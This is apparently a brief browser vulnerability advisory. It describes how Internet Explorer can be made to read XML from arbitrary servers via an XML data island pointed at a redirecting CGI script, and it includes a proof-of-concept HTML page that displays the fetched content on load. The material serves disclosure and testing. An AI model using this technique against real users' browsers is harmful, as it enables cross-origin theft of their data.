Description:

By opening html in IE it is possible to read at least well formed xml from
arbitrary servers. The info then may be transmitted.

Details:

Consider this:

---------
<html>
        <script>
                function f()
                {
                        alert(document.all.x1.XMLDocument.xml);
                }
        </script>

        <body onload="f()">
                <script id="x1" language="xml" src="/cgi-bin/redir.pl"></script>
                <h1>
                        Copyright Georgi Guninski <br />
                        Cannot be used in any database
                </h1>
        </body>
</html>
---------

redir.pl does a http redirect.
